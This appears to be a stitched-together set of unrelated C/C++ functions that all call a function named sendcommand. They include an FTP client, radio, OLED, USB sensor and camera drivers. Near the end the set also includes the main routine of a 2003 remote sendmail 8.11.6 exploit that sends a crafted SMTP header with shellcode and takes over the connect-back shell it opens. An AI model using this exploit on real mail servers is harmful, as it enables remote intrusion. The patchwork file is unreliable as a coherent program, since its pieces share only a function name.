/* cmdrename -
* Rename a remote file.
*/
int
cmdrename (int argc, char *argv[])
{
char buf[80];
if (argc < 2 && !another (&argc, &argv, "from-name"))
goto usage;
if (argc < 3 && !another (&argc, &argv, "to-name"))
{
usage:
printf ("%s from-name to-name\n", argv[0]);
code = -1;
return 0;
}
nsprintf (buf, sizeof (buf), "RNFR %s", argv[1]);
if (sendcommand (buf) == CONTINUE)
{
nsprintf (buf, sizeof (buf), "RNTO %s", argv[2]);
return (COMPLETE == sendcommand (buf) ? 0 : -1);
}
else
return -1;
} /* cmdrename() */
/* cmdrmdir -
* Remove a directory
*/
int
cmdrmdir (int argc, char *argv[])
{
char buf[256];
if (argc < 2 && !another (&argc, &argv, "directory-name"))
{
printf ("usage: %s directory-name\n", argv[0]);
code = -1;
return 0;
}
nsprintf (buf, sizeof (buf), "RMD %s", argv[1]);
return (COMPLETE == sendcommand (buf) ? 0 : -1);
} /* cmdrmdir() */
/* cmdcd -
* Change remote current working directory.
* Returns 0 on success, -1 on error.
*/
int
cmdcd (int argc, char *argv[])
{
if (argc == 1)
argv[1] = ".";
if (argc > 2)
{
nsprintf (msgbuf, sizeof (msgbuf), "usage: %s directory-spec\n", argv[0]);
Lstrout (msgbuf);
code = -1;
return (0);
}
nsprintf (msgbuf, sizeof (msgbuf), "CWD %s", argv[1]);
return (COMPLETE == sendcommand (msgbuf) ? 0 : -1);
} /* cmdcd() */
/**
* Seek a new station. Other functions can be used to specify whether to seek
* only HD stations or seek all stations.
* @param seek_dir direction ("up" or "down") to seek for a new station
*/
void HDCommands::hd_seekupdown(string seek_dir) {//public
list<string> cmd;
cmd.push_back(hdvals->getcode("seek"));
cmd.push_back(hdvals->getop("set"));
cmd.push_back("0xA5 0x00 0x00 0x00");
cmd.push_back(hdvals->getconstant("zero"));
cmd.push_back(hdvals->getconstant(seek_dir));
if (seekall) {
cmd.push_back("0x00 0x00 0x3D 0x00");
} else {
cmd.push_back("0x00 0x00 0x3D 0x01");
}
cmd.push_back(hdvals->getconstant("zero"));
sendcommand(cmd);
return;
}
/* cmdcp -
* Execute a remote file copy.
*/
int
cmdcp (int argc, char *argv[])
{
char buf[80];
if (argc < 2 && !another (&argc, &argv, "from-name"))
goto usage;
if (argc < 3 && !another (&argc, &argv, "to-name"))
{
usage:
printf ("%s from-name to-name\n", argv[0]);
code = -1;
return 0;
}
nsprintf (buf, sizeof (buf), "COPY %s %s", argv[1], argv[2]);
return (COMPLETE == sendcommand (buf) ? 0 : -1);
} /* cmdcp() */
/**
* Try to connect a device
*/
void connect_device() {
const char * ANIM_CHARS = "-\\|/";
const char PASSWORD[6] = {'P', 'e', 'd', 'a', 0xff, 0};
int state = 0;
int in = 0;
printf("Waiting for device... Press CTRL+C to exit. ");
while(1) {
printf("\b%c", ANIM_CHARS[state]);
fflush(stdout);
com_puts(PASSWORD);
in = com_getc(0);
if(in == CONNECT) {
sendcommand(COMMAND);
// Empty buffer
while(1) {
switch(com_getc(TIMEOUT)) {
case SUCCESS:
printf("\n...Connected!\n");
gettimeofday(&t_start, NULL);
return;
case -1:
printf("\n...Connection timeout!\n\n");
exit (0);
}
}
}
state++;
state = state % 4;
usleep(10000);//wait 10ms
}
}//void connect_device()
/**
* Checking CRC Support
*
* @return 2 if no crc support, 0 if crc supported, 1 fail, exit on timeout
*/
int check_crc() {
int i;
unsigned int crc1;
sendcommand(CHECK_CRC);
crc1 = crc;
com_putc(crc1);
com_putc(crc1 >> 8);
i = com_getc(TIMEOUT);
switch (i) {
case SUCCESS:
return 0;
case BADCOMMAND:
return 2;
case FAIL:
return 1;
case -1:
printf("...Device does not answer!\n\n");
exit (0);
default:
return i;
}
}
//Command not used
void tcpsocket::set_offset_tuning(int on) {
struct command cmd = { 0x0a, htonl(on) };
sendcommand(cmd);
}
//Command not used
void tcpsocket::set_agc_mode(int on) {
struct command cmd = { 0x08, htonl(on) };
sendcommand(cmd);
}
//Command not used
void tcpsocket::set_freq_corr(int ppm) {
struct command cmd = { 0x05, htonl(ppm) };
sendcommand(cmd);
}
//Command not used
void tcpsocket::set_gain_mode(int manual) {
struct command cmd = { 0x03, htonl(manual) };
sendcommand(cmd);
}
void tcpsocket::set_freq(int freq) {
struct command cmd = { 0x01, htonl(freq) };
sendcommand(cmd);
}
static int getdata(struct usb_temperhum *td, int *SOt, int *SOrh, char *buf)
{
unsigned char *rxbuf;
int retval, i;
char cmd_data[4][8] = {
{10, 11, 12, 13, 0, 0, 2, 0},
{0x48, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0},
{10, 11, 12, 13, 0, 0, 1, 0}
};
rxbuf = kmalloc(256, GFP_KERNEL);
if (!rxbuf) {
dev_err(&td->udev->dev, "out of memory\n");
strcpy(buf, "ERROR\n");
retval = strlen(buf);
return retval;
}
if (sendcommand(td, cmd_data[0])){
/*printk("initprobe() - first call to sendcommand() failed\n"); */
return -EINVAL;
}
if (sendcommand(td, cmd_data[1])){
/*printk("initprobe() - second call to sendcommand() failed\n"); */
return -EINVAL;
}
for(i = 0; i < 7; ++i)
if(sendcommand(td, cmd_data[2])){
/*printk("initprobe() - third call to sendcommand() failed\n"); */
return -EINVAL;
}
if (sendcommand(td, cmd_data[3])){
/*printk("initprobe() - third call to sendcommand() failed\n"); */
return -EINVAL;
}
msleep(400);
retval = usb_control_msg(td->udev, usb_rcvctrlpipe(td->udev, 0),
1, 0xa1, 0x300, 1, rxbuf, RECV_BYTES, 5000);
/* printk("td->udev->devnum value = %d, retval = %d\n", td->udev->devnum,retval); */
if(retval != RECV_BYTES)
goto error;
/* printk("setting SOt, SOh\n"); */
*SOt = (rxbuf[0] << 8) | (rxbuf[1] & 0xff);
*SOrh = (rxbuf[2] << 8) | (rxbuf[3] & 0xff);
/* printk("rxbuf[0..3] = %02x %02x %02x %02x, SOt = %x, SOrh = %x\n",
rxbuf[0], rxbuf[1], rxbuf[2], rxbuf[3], *SOt, *SOrh);
*/
kfree(rxbuf);
return 0;
error:
dev_err(&td->udev->dev, "USB communication error\n");
kfree(rxbuf);
strcpy(buf, "ERROR\n");
retval = strlen(buf);
return retval;
}
/**
* Send a command to the radio to return data for a particular mode or value, such as the
* state of power or mute or the volume level or the current frequency info.
* @param mode the mode to ask the radio to return
*/
void HDCommands::hdget(string mode) {//public
list<string> cmd;
cmd.push_back(hdvals->getcode(mode));
cmd.push_back(hdvals->getop("get"));
sendcommand(cmd);
}
/**
* The main tune routine to tune the radio to a frequency, band, and subchannel.
* @param newfreq the frequency to turn to
* @param newchannel the new subchannel to turn to
* @param newband the band for the new station
* @return true if everything worked (specifically setting the subchannel)
*/
bool HDCommands::hd_tune(int newfreq, int newchannel, string newband) {//public
// cout << "Tune, 3 args, final, Freq: " << newfreq << ", Channel: " << newchannel << ", Band: " << newband << endl;
char chanxfer[10];
unsigned int x;
double itime;
list<string> cmd;
char xfer;
char hexfreq [8] = "000000";
string hex = "", oldfreq, checkchan;
time_t tstart, tnow;
if (newband == "FM")
newband = "fm";
if (newband == "AM")
newband = "am";
cmd.push_back(hdvals->getcode("tune"));
cmd.push_back(hdvals->getop("set"));
cmd.push_back(hdvals->getband(newband));
sprintf(hexfreq, "%4X", newfreq);
//There has GOT to be a "C++" way of doing this easily: reverse the hex
//bytes and replace blanks and spaces with 0.
for (x = 0; x < sizeof(hexfreq); x++) {
if (hexfreq[x] == 000 || hexfreq[x] == ' ')
hexfreq[x] = '0';
if (x < 2) {
xfer = hexfreq[x + 2];
hexfreq[x + 2] = hexfreq[x];
hexfreq[x] = xfer;
}
if (x % 2 == 0) {
if (x > 0)
hex += " ";
hex += "0x";
}
hex += hexfreq[x];
}
cmd.push_back(hex);
cmd.push_back(hdvals->getconstant("zero"));
sendcommand(cmd);
if (newchannel != 0) {
sprintf(chanxfer, "%d", newchannel);
checkchan = chanxfer;
hd_setitem("hdsubchannel", newchannel, 0);
time(&tstart);
while (checkchan != hdlisten->gethdvalue("hdsubchannel")) {
time(&tnow);
itime = difftime(tnow, tstart);
if (itime > streamlockwait) {
if (verbose) cout << "Could not lock onto subchannel, Frequency: " << newfreq << ", Subchannel: "
<< newchannel << ", Band: " << newband << endl;
// Give it a try before leaving, just in case.
hd_setitem("hdsubchannel", newchannel, 0);
return false;
}
usleep(100);
hd_setitem("hdsubchannel", newchannel, 0);
}
// cout << "Subchannel set.!\n";
}
return true;
}
//==========================================================//
// Turns display off.
void i2c_oled::displayOff(void)
{
sendcommand(0xae); //display off
}
//==========================================================//
// Inits oled and draws logo at startup
void i2c_oled::init_OLED(void)
{
// sendcommand(0xae); //display off
// sendcommand(0xa6); //Set Normal Display (default)
// Adafruit Init sequence for 128x64 OLED module
sendcommand(0xAE); //DISPLAYOFF
sendcommand(0xD5); //SETDISPLAYCLOCKDIV
sendcommand(0x80); // the suggested ratio 0x80
sendcommand(0xA8); //SSD1306_SETMULTIPLEX
//sendcommand(0x2F); //--1/48 duty //NEW!!!
sendcommand(0x3F); //ak - sonst fehlt die 1. Zeile!
sendcommand(0xD3); //SETDISPLAYOFFSET
sendcommand(0x0); //no offset
sendcommand(0x40 | 0x0); //SETSTARTLINE
sendcommand(0x8D); //CHARGEPUMP
sendcommand(0x14);
sendcommand(0x20); //MEMORYMODE
sendcommand(0x00); //0x0 act like ks0108
sendcommand(0xA0 | 0x1); //SEGREMAP //Rotate screen 180 deg
//sendcommand(0xA0);
sendcommand(0xC8); //COMSCANDEC Rotate screen 180 Deg
//sendcommand(0xC0);
sendcommand(0xDA); //0xDA
sendcommand(0x12); //COMSCANDEC
sendcommand(0x81); //SETCONTRAST
sendcommand(0xCF); //
sendcommand(0xd9); //SETPRECHARGE
sendcommand(0xF1);
sendcommand(0xDB); //SETVCOMDETECT
sendcommand(0x40);
sendcommand(0xA4); //DISPLAYALLON_RESUME
sendcommand(0xA6); //NORMALDISPLAY
//**
clear_display();
sendcommand(0x2e); // stop scroll
//----------------------------REVERSE comments----------------------------//
// sendcommand(0xa0); //seg re-map 0->127(default)
// sendcommand(0xa1); //seg re-map 127->0
// sendcommand(0xc8);
// delay(1000);
//----------------------------REVERSE comments----------------------------//
// sendcommand(0xa7); //Set Inverse Display
// sendcommand(0xae); //display off
sendcommand(0x20); //Set Memory Addressing Mode
sendcommand(0x00); //Set Memory Addressing Mode ab Horizontal addressing mode
// sendcommand(0x02); // Set Memory Addressing Mode ab Page addressing mode(RESET)
setXY(0,0);
//**
/*
for(int i=0;i<128*8;i++) // show 128* 64 Logo
{
SendChar(pgm_read_byte(logo+i));
}
*/
sendcommand(0xaf); //display on
}
//==========================================================//
// Turns display on.
void OLED::displayOn(void)
{
sendcommand(0xaf); //display on
}
void reset_dsp()
{
m_commandId.reset();
sendcommand( commands::reset_dsp() );
}
//==========================================================//
// Turns display off.
void OLED::displayOff(void)
{
sendcommand(0xae); //display off
}
void tcpsocket::set_sample_rate(int sample_rate) {
struct command cmd = { 0x02, htonl(sample_rate) };
sendcommand(cmd);
}
//==========================================================//
// Set the cursor position in a 16 COL * 8 ROW map.
void OLED::setXY(unsigned char row,unsigned char col)
{
sendcommand(0xb0+row); //set page address
sendcommand(_offset+(8*col&0x0f)); //set low col address
sendcommand(0x10+((8*col>>4)&0x0f)); //set high col address
}
//Command not used
void tcpsocket::set_gain(int gain) {
struct command cmd = { 0x04, htonl(gain) };
sendcommand(cmd);
}
//==========================================================//
// Inits oled and draws logo at startup
void OLED::init_OLED(void)
{
sendcommand(0xae); //display off
sendcommand(0xa6); //Set Normal Display (default)
// Adafruit Init sequence for 128x64 OLED module
sendcommand(0xAE); //DISPLAYOFF
sendcommand(0xD5); //SETDISPLAYCLOCKDIV
sendcommand(0x80); // the suggested ratio 0x80
sendcommand(0xA8); //SSD1306_SETMULTIPLEX
sendcommand(0x3F);
sendcommand(0xD3); //SETDISPLAYOFFSET
sendcommand(0x0); //no offset
sendcommand(0x40 | 0x0); //SETSTARTLINE
sendcommand(0x8D); //CHARGEPUMP
sendcommand(0x14);
sendcommand(0x20); //MEMORYMODE
sendcommand(0x00); //0x0 act like ks0108
//sendcommand(0xA0 | 0x1); //SEGREMAP //Rotate screen 180 deg
sendcommand(0xA0);
//sendcommand(0xC8); //COMSCANDEC Rotate screen 180 Deg
sendcommand(0xC0);
sendcommand(0xDA); //0xDA
sendcommand(0x12); //COMSCANDEC
sendcommand(0x81); //SETCONTRAS
sendcommand(0xCF); //
sendcommand(0xd9); //SETPRECHARGE
sendcommand(0xF1);
sendcommand(0xDB); //SETVCOMDETECT
sendcommand(0x40);
sendcommand(0xA4); //DISPLAYALLON_RESUME
sendcommand(0xA6); //NORMALDISPLAY
clear_display();
sendcommand(0x2e); // stop scroll
//----------------------------REVERSE comments----------------------------//
sendcommand(0xa0); //seg re-map 0->127(default)
sendcommand(0xa1); //seg re-map 127->0
sendcommand(0xc8);
delay(1000);
//----------------------------REVERSE comments----------------------------//
// sendcommand(0xa7); //Set Inverse Display
// sendcommand(0xae); //display off
sendcommand(0x20); //Set Memory Addressing Mode
sendcommand(0x00); //Set Memory Addressing Mode ab Horizontal addressing mode
// sendcommand(0x02); // Set Memory Addressing Mode ab Page addressing mode(RESET)
}
//Command not used
void tcpsocket::set_if_gain(int stage, int gain) {
uint32_t params = stage << 16 | (gain & 0xffff);
struct command cmd = { 0x06, htonl(params) };
sendcommand(cmd);
}
static int
receive (byte * buf, int length, int expected)
{
int tries = 0;
int n, total, i;
byte *ptr;
while (1)
{
ptr = buf;
i = length;
total = 0;
while (waitforinput (fd))
{
n = read (fd, ptr, i);
if (n > 0)
{
ptr += n;
i -= n;
total += n;
if (checkcrc (buf, total) && (total == expected))
{
#ifdef DEBUG
fprintf (stderr, "Read %d bytes as expected\n", total);
#endif
return total;
}
}
}
#ifdef DEBUG
fprintf (stderr, "Read %d byes of %d bytes expected\n", total, expected);
#endif
/*Ok didn't match expected - two posibities */
/*1st we missed packet/crcerror */
/*2nd this is the last packet */
tries++;
if ((total == 1) && (tries == 2) && (expected == SDSC_BLOCKSIZE))
{
#ifdef DEBUG
fprintf (stderr, "Detected EOF condition\n");
#endif
return total;
}
if (tries == SDSC_RETRIES)
{
#ifdef DEBUG
fprintf (stderr, "Giving up\n");
#endif
return 0;
}
#ifdef DEBUG
fprintf (stderr, "Retrying\n");
#endif
sendcommand (SDSC_RETRANSMIT);
}
}
//Command not used
void tcpsocket::set_direct_sampling(int on) {
struct command cmd = { 0x09, htonl(on) };
sendcommand(cmd);
}
/*
** fill out the rest of the image structure, given "number" already
*/
static struct Image *
SDSC_ReadImage (int picnum, int thumbnail)
{
unsigned char buffer[2048];
char str[1024];
int len;
int i;
int blocks;
struct Image *image = (struct Image *) malloc (sizeof (struct Image));
byte *ptr;
int left, size;
#ifdef DEBUG
fprintf(stderr,"ReadImage \n");
#endif
if (thumbnail)
{
free (image);
return 0;
}
SDSC_disconnect (fd); /*Rewind */
i = picnum;
#ifdef DEBUG
fprintf(stderr,"Fetching %d (%d,%d)\n",picnum,thumbnail);
#endif
while (--i) /*Seek*/
{
sendcommand (SDSC_START);
len = receive (buffer, sizeof (buffer), SDSC_INFOSIZE);
sendcommand (SDSC_NEXT);
}
sendcommand (SDSC_START); /*Read out a header */
len = receive (buffer, sizeof (buffer), SDSC_INFOSIZE);
if (len != SDSC_INFOSIZE)
{
free (image);
return 0;
}
buffer[SDSC_INFOSIZE] = 0;
image->image_size = atoi (&buffer[15]);
sprintf (str, "Length of image %d is %d bytes\n",
picnum,
image->image_size);
update_status (str);
blocks = (image->image_size + 0x3ff) / 0x400;
blocks += 2;
left = size = 0x400 * blocks;
i = 0;
ptr = image->image = (unsigned char *) malloc (size);
if (!image->image)
{
error_dialog ("Failed to malloc image data.");
free (image);
return 0;
}
update_progress (0);
sendcommand (SDSC_BINARY); /*Put into image mode */
sendcommand (SDSC_START); /*Start reading */
while (left > 0x400)
{
len = receive (buffer, sizeof (buffer), SDSC_BLOCKSIZE);
if (!len)
{
free (image->image);
free (image);
#ifdef DEBUG
fprintf(stderr,"ReadImage failed \n");
#endif
return 0;
}
if ((len == 1) && (buffer[1] == 0x4))
break;
bcopy (buffer + 3, ptr, 0x400);
ptr += 0x400;
left -= 0x400;
i += 0x400;
if (size)
update_progress (100 * i / size);
sendcommand (SDSC_BINARY); /*Next block */
}
SDSC_disconnect (fd); /*Rewind */
strcpy (image->image_type, "jpg");
image->image_info_size = 0;
#ifdef DEBUG
fprintf(stderr,"Done ReadImage \n");
#endif
return image;
}
int main(int argc,char **argv){
int sck,srv,i,j,cnt,jidx,aidx,sidx,fidx,aptr,sptr,fptr,ssize,fsize,jmp;
int c,l,i1,i2,i3,i4,found,vers=80,count=256,timeout=1,port=25;
fd_set readfs;
struct timeval t;
struct sockaddr_in address;
struct hostent *hp;
char buf[4096],cmd[4096];
char *p,*host,*myhost=NULL;
printf("copyright LAST STAGE OF DELIRIUM mar 2003 poland //lsd-pl.net/\n");
printf("sendmail 8.11.6 for Slackware 8.0 x86\n\n");
if (argc<3) {
printf("usage: %s target [-l localaddr] [-b localport] [-p ptr] [-c count] [-t timeout] [-v 80]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"b:c:l:p:t:v:"))!=-1) {
switch(c) {
case 'b': port=atoi(optarg);break;
case 'c': count=atoi(optarg);break;
case 'l': myhost=optarg;break;
case 't': timeout=atoi(optarg);break;
case 'v': vers=atoi(optarg);break;
case 'p': sscanf(optarg,"%x",&MPTR);
}
}
host=argv[1];
srv=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(port);
if (bind(srv,(struct sockaddr*)&address,sizeof(address))==-1) {
printf("error: bind\n");exit(-1);
}
if (listen(srv,10)==-1) {
printf("error: listen\n");exit(-1);
}
initasmcode(myhost,port);
for(i4=0;i4<count;i4++,MPTR+=cnt*4) {
PTR=MPTR;
sck=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(25);
if ((address.sin_addr.s_addr=inet_addr(host))==-1) {
if ((hp=gethostbyname(host))==NULL) {
printf("error: address\n");exit(-1);
}
memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
}
if (connect(sck,(struct sockaddr*)&address,sizeof(address))==-1) {
printf("error: connect\n");exit(-1);
}
initlookup();
sendcommand(sck,"helo yahoo.com\n",0);
sendcommand(sck,"mail from: [email protected]\n",0);
sendcommand(sck,"rcpt to: lp\n",0);
sendcommand(sck,"data\n",0);
aidx=findblock(PTR,PNUM*4,1);
ALLOCBLOCK(aidx,PNUM*4);
aptr=IDX2PTR(aidx);
printf(".");fflush(stdout);
jidx=findblock(PTR,strlen(shellcode)+PNUM*4,1);
ALLOCBLOCK(jidx,strlen(shellcode)+PNUM*4);
switch(vers) {
case 80: l=28;i1=0x46;i2=0x94;i3=0x1c;break;
default: exit(-1);
}
i2-=8;
p=buf;
for(i=0;i<138;i++) {
*p++='<';*p++='>';
}
*p++='(';
for(i=0;i<l;i++) *p++=NOP;
*p++=')';
*p++=0;
putaddr(&buf[OFF3+l],aptr);
sprintf(cmd,"From: %s\n",buf);
sendcommand(sck,cmd,0);
sendcommand(sck,"Subject: hello\n",0);
memset(cmd,NOP,MAXLINE);
cmd[MAXLINE-2]='\n';
cmd[MAXLINE-1]=0;
cnt=0;
while(cnt<PNUM) {
sptr=aptr;
fptr=IDX2PTR(OFF2);
if (!(sidx=findsblock(sptr))) break;
sptr=IDX2PTR(sidx);
if (!(fidx=findfblock(fptr,i1,i2,i3))) break;
fptr=IDX2PTR(fidx);
jmp=IDX2PTR(jidx);
while (!validaddr(jmp)) jmp+=4;
putaddr(&cmd[aidx],sptr);
putaddr(&cmd[sidx+0x24],aptr);
putaddr(&cmd[sidx+0x28],aptr);
putaddr(&cmd[sidx+0x18],fptr-i2-i3);
putaddr(&cmd[fidx-i2-i3],0x01010101);
putaddr(&cmd[fidx-i2-i3+i1],0xfffffff8);
putaddr(&cmd[fidx-i3],fptr-i3);
putaddr(&cmd[fidx],jmp);
aidx+=4;
PTR-=4;
cnt++;
}
p=&cmd[jidx+4*PNUM];
for(i=0;i<strlen(shellcode);i++) {
*p++=shellcode[i];
}
sendcommand(sck,cmd,0);
sendcommand(sck,"\n",0);
sendcommand(sck,".\n",0);
free(lookup);
FD_ZERO(&readfs);
FD_SET(0,&readfs);
FD_SET(srv,&readfs);
t.tv_sec=timeout;
t.tv_usec=0;
if (select(srv+1,&readfs,NULL,NULL,&t)>0) {
close(sck);
found=1;
if ((sck=accept(srv,(struct sockaddr*)&address,&l))==-1) {
printf("error: accept\n");exit(-1);
}
close(srv);
printf("\nbase 0x%08x mcicache 0x%08x\n",PTR,aptr);
write(sck,"/bin/uname -a\n",14);
} else {
close(sck);
found=0;
}
while(found){
FD_ZERO(&readfs);
FD_SET(0,&readfs);
FD_SET(sck,&readfs);
if(select(sck+1,&readfs,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&readfs)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else {printf("koniec\n");exit(-1);}
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&readfs)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else {printf("koniec\n");exit(-1);}
}
write(1,buf,cnt);
}
}
}
}
}
//==========================================================//
// Turns display on.
void i2c_oled::displayOn(void)
{
sendcommand(0xaf); //display on
}